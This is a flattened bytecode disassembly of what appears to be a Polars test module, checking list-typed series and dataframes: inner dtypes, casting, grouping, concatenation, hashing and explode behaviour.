STORE_NAME test_list_series_construction_with_dtype_11849_11878 LOAD_CONST 'None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_as_list_logical_type at 0x7f8a954cd0c0, file "f.py", line 646> LOAD_CONST 'test_as_list_logical_type' MAKE_FUNCTION STORE_NAME test_as_list_logical_type LOAD_NAME pytest LOAD_METHOD fixture CALL_METHOD LOAD_CONST 'pl.DataFrame' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object data_dispersion at 0x7f8a954cda50, file "f.py", line 653> LOAD_CONST 'data_dispersion' MAKE_FUNCTION CALL_FUNCTION STORE_NAME data_dispersion LOAD_CONST 'pl.DataFrame' LOAD_CONST 'None' LOAD_CONST ('data_dispersion', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_var at 0x7f8a954cd810, file "f.py", line 669> LOAD_CONST 'test_list_var' MAKE_FUNCTION STORE_NAME test_list_var LOAD_CONST 'pl.DataFrame' LOAD_CONST 'None' LOAD_CONST ('data_dispersion', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_std at 0x7f8ab701e030, file "f.py", line 693> LOAD_CONST 'test_list_std' MAKE_FUNCTION STORE_NAME test_list_std LOAD_CONST 'pl.DataFrame' LOAD_CONST 'None' LOAD_CONST ('data_dispersion', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object test_list_median at 0x7f8ab701e0c0, file "f.py", line 717> LOAD_CONST 'test_list_median' MAKE_FUNCTION STORE_NAME test_list_median LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 2 LOAD_CONST 5 BUILD_LIST LOAD_CONST 6 LOAD_CONST 7 LOAD_CONST 8 LOAD_CONST 9 BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST a LOAD_FAST a LOAD_ATTR dtype LOAD_GLOBAL pl LOAD_ATTR List COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a LOAD_ATTR dtype LOAD_ATTR inner LOAD_GLOBAL pl LOAD_ATTR Int64 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a LOAD_ATTR dtype LOAD_METHOD is_ LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Int64 CALL_METHOD CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_LIST LOAD_GLOBAL time LOAD_CONST 10 LOAD_CONST 30 LOAD_CONST 45 CALL_FUNCTION BUILD_LIST BUILD_LIST LOAD_GLOBAL date LOAD_CONST 2022 LOAD_CONST 12 LOAD_CONST 31 CALL_FUNCTION BUILD_LIST BUILD_LIST LOAD_GLOBAL datetime LOAD_CONST 2022 LOAD_CONST 12 LOAD_CONST 31 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 CALL_FUNCTION BUILD_LIST BUILD_LIST LOAD_CONST ('i', 'tm', 'dt', 'dtm') BUILD_CONST_KEY_MAP LOAD_CONST 'i' LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Int8 CALL_METHOD BUILD_TUPLE LOAD_CONST 'tm' LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Time CALL_METHOD BUILD_TUPLE LOAD_CONST 'dt' LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Date CALL_METHOD BUILD_TUPLE LOAD_CONST 'dtm' LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Datetime CALL_METHOD BUILD_TUPLE BUILD_LIST LOAD_CONST ('data', 'schema') CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_ATTR schema LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Int8 CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Time CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Date CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Datetime CALL_METHOD LOAD_CONST ('i', 'tm', 'dt', 'dtm') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7f8b2000bae0, file "f.py", line 44> LOAD_CONST 'test_dtype.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST df LOAD_ATTR dtypes GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_ATTR schema LOAD_CONST 'i' BINARY_SUBSCR LOAD_ATTR inner LOAD_GLOBAL pl LOAD_ATTR Int8 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD rows CALL_METHOD LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_GLOBAL time LOAD_CONST 10 LOAD_CONST 30 LOAD_CONST 45 CALL_FUNCTION BUILD_LIST LOAD_GLOBAL date LOAD_CONST 2022 LOAD_CONST 12 LOAD_CONST 31 CALL_FUNCTION BUILD_LIST LOAD_GLOBAL datetime LOAD_CONST 2022 LOAD_CONST 12 LOAD_CONST 31 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 CALL_FUNCTION BUILD_LIST BUILD_TUPLE BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST tp LOAD_FAST tp LOAD_METHOD is_nested CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST 'b' LOAD_CONST 8 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 6 LOAD_CONST 3 LOAD_CONST 6 LOAD_CONST 2 LOAD_CONST 2 BUILD_LIST CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST 'c' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' LOAD_CONST 'a' LOAD_CONST 'b' BUILD_LIST CALL_METHOD LOAD_METHOD cast LOAD_GLOBAL pl LOAD_ATTR Categorical CALL_METHOD BUILD_LIST CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_METHOD group_by LOAD_CONST 'a' LOAD_CONST 'b' BUILD_LIST CALL_METHOD LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'c' CALL_METHOD LOAD_METHOD count CALL_METHOD LOAD_METHOD alias LOAD_CONST 'num_different_c' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'c' CALL_METHOD LOAD_METHOD alias LOAD_CONST 'c_values' CALL_METHOD CALL_METHOD LOAD_METHOD filter LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'num_different_c' CALL_METHOD LOAD_CONST 2 COMPARE_OP >= CALL_METHOD LOAD_METHOD to_series LOAD_CONST 3 CALL_METHOD STORE_FAST out LOAD_FAST out LOAD_ATTR dtype LOAD_ATTR inner LOAD_GLOBAL pl LOAD_ATTR Categorical COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST out LOAD_ATTR dtype LOAD_ATTR inner LOAD_METHOD is_nested CALL_METHOD LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Decimal LOAD_CONST '1.23' CALL_FUNCTION LOAD_GLOBAL Decimal LOAD_CONST '4.56' CALL_FUNCTION BUILD_LIST LOAD_GLOBAL Decimal LOAD_CONST '7.89' CALL_FUNCTION LOAD_GLOBAL Decimal LOAD_CONST '10.11' CALL_FUNCTION BUILD_LIST BUILD_LIST STORE_FAST input LOAD_GLOBAL pl LOAD_METHOD Series LOAD_FAST input CALL_METHOD STORE_FAST s LOAD_FAST s LOAD_ATTR dtype LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Decimal CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR dtype LOAD_ATTR inner LOAD_GLOBAL pl LOAD_ATTR Decimal COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR dtype LOAD_ATTR inner LOAD_METHOD is_nested CALL_METHOD LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD to_list CALL_METHOD LOAD_FAST input COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST a SETUP_LOOP to 96 LOAD_GLOBAL bool LOAD_GLOBAL pl LOAD_ATTR Boolean BUILD_LIST GET_ITER FOR_ITER to 94 STORE_FAST t LOAD_FAST a LOAD_METHOD cast LOAD_GLOBAL pl LOAD_METHOD List LOAD_FAST t CALL_METHOD CALL_METHOD STORE_FAST b LOAD_FAST b LOAD_ATTR dtype LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Boolean CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST b LOAD_METHOD to_list CALL_METHOD LOAD_CONST True LOAD_CONST True BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL pl LOAD_METHOD from_pandas LOAD_GLOBAL pd LOAD_ATTR DataFrame BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 'A' BUILD_LIST LOAD_CONST ('data', 'columns') CALL_FUNCTION CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_CONST 'A' BINARY_SUBSCR LOAD_METHOD cast LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL int CALL_METHOD CALL_METHOD LOAD_ATTR dtype LOAD_ATTR inner LOAD_GLOBAL pl LOAD_ATTR Int64 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame CALL_METHOD LOAD_METHOD with_columns LOAD_GLOBAL pl LOAD_METHOD lit LOAD_CONST 1 CALL_METHOD LOAD_METHOD alias LOAD_CONST 'group_by_column' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD lit LOAD_CONST None CALL_METHOD LOAD_METHOD cast LOAD_GLOBAL pl LOAD_ATTR Int32 CALL_METHOD LOAD_METHOD alias LOAD_CONST 'join_column' CALL_METHOD BUILD_LIST CALL_METHOD STORE_FAST left LOAD_GLOBAL pl LOAD_METHOD DataFrame CALL_METHOD LOAD_METHOD with_columns LOAD_GLOBAL pl LOAD_METHOD lit LOAD_CONST 1 CALL_METHOD LOAD_METHOD alias LOAD_CONST 'join_column' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD lit LOAD_CONST 1 CALL_METHOD LOAD_METHOD alias LOAD_CONST 'n_unique_column' CALL_METHOD BUILD_LIST CALL_METHOD STORE_FAST right LOAD_FAST left LOAD_ATTR join LOAD_FAST right LOAD_CONST 'join_column' LOAD_CONST 'left' LOAD_CONST ('on', 'how') CALL_FUNCTION LOAD_METHOD group_by LOAD_CONST 'group_by_column' CALL_METHOD LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'n_unique_column' CALL_METHOD LOAD_METHOD drop_nulls CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 1 BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST ('group_by_column', 'n_unique_column') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'C' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 'd' LOAD_CONST 'e' BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_METHOD with_columns LOAD_GLOBAL pl LOAD_METHOD when LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'C' CALL_METHOD LOAD_ATTR list LOAD_METHOD len CALL_METHOD LOAD_CONST 0 COMPARE_OP == CALL_METHOD LOAD_METHOD then LOAD_CONST None CALL_METHOD LOAD_METHOD otherwise LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'C' CALL_METHOD CALL_METHOD LOAD_METHOD alias LOAD_CONST 'C' CALL_METHOD BUILD_LIST CALL_METHOD LOAD_METHOD to_series CALL_METHOD LOAD_METHOD to_list CALL_METHOD LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' BUILD_LIST LOAD_CONST None LOAD_CONST None LOAD_CONST 'd' LOAD_CONST 'e' BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD when LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_ATTR list LOAD_METHOD len CALL_METHOD LOAD_CONST 0 COMPARE_OP == CALL_METHOD LOAD_METHOD then LOAD_CONST 5 BUILD_LIST CALL_METHOD LOAD_METHOD otherwise LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD CALL_METHOD LOAD_METHOD alias LOAD_CONST 'filled' CALL_METHOD BUILD_LIST CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'filled' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 5 BUILD_LIST BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD Series BUILD_LIST BUILD_LIST CALL_METHOD LOAD_METHOD to_list CALL_METHOD BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_ATTR DataFrame BUILD_LIST LOAD_CONST 1234 LOAD_CONST ('array', 'not_array') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST 'row' LOAD_CONST ('orient',) CALL_FUNCTION STORE_FAST df BUILD_LIST BUILD_LIST LOAD_CONST 1234 BUILD_LIST LOAD_CONST ('array', 'not_array') BUILD_CONST_KEY_MAP STORE_FAST expected LOAD_FAST df LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 'col' LOAD_GLOBAL pl LOAD_ATTR List BUILD_TUPLE BUILD_LIST LOAD_CONST ('schema',) CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_ATTR schema LOAD_CONST 'col' LOAD_GLOBAL pl LOAD_ATTR List BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD rows CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD with_columns LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_METHOD hash CALL_METHOD LOAD_METHOD alias LOAD_CONST 'b' CALL_METHOD CALL_METHOD STORE_FAST out LOAD_FAST out LOAD_ATTR dtypes LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Int64 CALL_METHOD LOAD_GLOBAL pl LOAD_ATTR UInt64 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST out LOAD_CONST (0, 'b') BINARY_SUBSCR LOAD_FAST out LOAD_CONST (2, 'b') BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST BUILD_MAP CALL_METHOD STORE_FAST df1 LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'b' LOAD_CONST 1 BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD STORE_FAST df2 LOAD_GLOBAL pl LOAD_ATTR concat LOAD_FAST df1 LOAD_FAST df2 BUILD_LIST LOAD_CONST 'diagonal' LOAD_CONST ('how',) CALL_FUNCTION LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST None BUILD_LIST LOAD_CONST None LOAD_CONST None LOAD_CONST 1 BUILD_LIST BUILD_LIST LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'cats' LOAD_CONST 'foo' LOAD_CONST 'bar' BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_GLOBAL pl LOAD_ATTR String CALL_METHOD LOAD_METHOD cast LOAD_GLOBAL pl LOAD_ATTR Categorical CALL_METHOD LOAD_METHOD implode CALL_METHOD CALL_METHOD STORE_FAST df LOAD_GLOBAL pl LOAD_ATTR concat LOAD_FAST df LOAD_FAST df BUILD_LIST LOAD_CONST True LOAD_CONST ('rechunk',) CALL_FUNCTION LOAD_ATTR dtypes LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Categorical CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'a' LOAD_CONST 'b' BUILD_LIST LOAD_CONST 'c' BUILD_LIST LOAD_CONST 'a' LOAD_CONST 'd' LOAD_CONST 'd' BUILD_LIST BUILD_LIST STORE_FAST values LOAD_GLOBAL pl LOAD_ATTR Series LOAD_FAST values LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Categorical CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_ATTR dtype LOAD_GLOBAL pl LOAD_ATTR List COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_ATTR dtype LOAD_ATTR inner LOAD_GLOBAL pl LOAD_ATTR Categorical COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD to_list CALL_METHOD LOAD_FAST values COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 BUILD_LIST LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST BUILD_LIST LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR UInt32 CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST idx_df LOAD_GLOBAL assert_series_equal LOAD_FAST s LOAD_METHOD cast LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR UInt32 CALL_METHOD CALL_METHOD LOAD_FAST idx_df CALL_FUNCTION POP_TOP LOAD_FAST s LOAD_ATTR list LOAD_METHOD explode CALL_METHOD LOAD_ATTR cat LOAD_METHOD get_categories CALL_METHOD LOAD_METHOD to_list CALL_METHOD LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'c' LOAD_CONST 'd' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 'a' LOAD_CONST 'b' LOAD_CONST 'a' BUILD_LIST BUILD_MAP CALL_METHOD LOAD_METHOD with_columns LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_METHOD cast LOAD_GLOBAL pl LOAD_ATTR Categorical CALL_METHOD CALL_METHOD LOAD_ATTR group_by LOAD_CONST 'a' LOAD_CONST True LOAD_CONST ('maintain_order',) CALL_FUNCTION LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'a' CALL_METHOD LOAD_METHOD alias LOAD_CONST 'a_list' CALL_METHOD CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_ATTR group_by LOAD_CONST 'a_list' LOAD_CONST True LOAD_CONST ('maintain_order',) CALL_FUNCTION LOAD_METHOD first CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'a' LOAD_CONST 'a' BUILD_LIST LOAD_CONST 'b' BUILD_LIST BUILD_LIST LOAD_CONST 'a' LOAD_CONST 'b' BUILD_LIST LOAD_CONST ('a_list', 'a') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'x' LOAD_CONST 'x' LOAD_CONST 'y' LOAD_CONST 'y' BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST LOAD_CONST 6 BUILD_LIST BUILD_LIST LOAD_CONST 3 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_ATTR group_by LOAD_CONST 'a' LOAD_CONST 'b' BUILD_LIST LOAD_CONST True LOAD_CONST ('maintain_order',) CALL_FUNCTION LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD all CALL_METHOD CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'x' LOAD_CONST 'y' LOAD_CONST 'y' BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST LOAD_CONST 6 BUILD_LIST BUILD_LIST LOAD_CONST 3 LOAD_CONST 2 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 BUILD_LIST BUILD_LIST LOAD_CONST ('a', 'b', 'c') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'values' LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST BUILD_LIST BUILD_LIST BUILD_MAP CALL_METHOD STORE_FAST df1 LOAD_FAST df1 LOAD_METHOD clone CALL_METHOD LOAD_METHOD vstack LOAD_FAST df1 CALL_METHOD LOAD_CONST 'values' BINARY_SUBSCR LOAD_ATTR flags LOAD_CONST 'FAST_EXPLODE' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 'a' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 3 BUILD_LIST BUILD_MAP CALL_METHOD STORE_FAST df LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST '1' LOAD_CONST '2' LOAD_CONST 'c' BUILD_LIST LOAD_CONST '1' LOAD_CONST '2' LOAD_CONST 'c' BUILD_LIST BUILD_LIST LOAD_CONST ('a', 'c') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST df_b LOAD_FAST df_b LOAD_CONST 'c' BINARY_SUBSCR LOAD_ATTR flags LOAD_CONST 'FAST_EXPLODE' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_ATTR join LOAD_FAST df_b LOAD_CONST 'a' BUILD_LIST LOAD_CONST 'left' LOAD_CONST ('on', 'how') CALL_FUNCTION LOAD_METHOD select LOAD_CONST 'c' BUILD_LIST CALL_METHOD LOAD_CONST 'c' BINARY_SUBSCR LOAD_ATTR flags LOAD_CONST 'FAST_EXPLODE' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'l' LOAD_CONST 't' LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 't' LOAD_CONST 62.3 LOAD_CONST ('ref', 'tag', 'ratio') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST ('label', 'tag', 'ref', 'parents') BUILD_CONST_KEY_MAP LOAD_CONST 'l' LOAD_CONST 't' LOAD_CONST 1 LOAD_CONST None LOAD_CONST ('label', 'tag', 'ref', 'parents') BUILD_CONST_KEY_MAP BUILD_LIST STORE_FAST data LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_FAST data LOAD_GLOBAL pl LOAD_ATTR String LOAD_GLOBAL pl LOAD_ATTR String LOAD_GLOBAL pl LOAD_ATTR Int64 LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD Struct LOAD_GLOBAL pl LOAD_ATTR Int64 LOAD_GLOBAL pl LOAD_ATTR String LOAD_GLOBAL pl LOAD_ATTR Float64 LOAD_CONST ('ref', 'tag', 'ratio') BUILD_CONST_KEY_MAP CALL_METHOD CALL_METHOD LOAD_CONST ('label', 'tag', 'ref', 'parents') BUILD_CONST_KEY_MAP LOAD_CONST ('schema',) CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_CONST 'parents' BINARY_SUBSCR LOAD_ATTR flags LOAD_CONST 'FAST_EXPLODE' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST df LOAD_METHOD explode LOAD_CONST 'parents' CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'l' LOAD_CONST 'l' BUILD_LIST LOAD_CONST 't' LOAD_CONST 't' BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 't' LOAD_CONST 62.3 LOAD_CONST ('ref', 'tag', 'ratio') BUILD_CONST_KEY_MAP 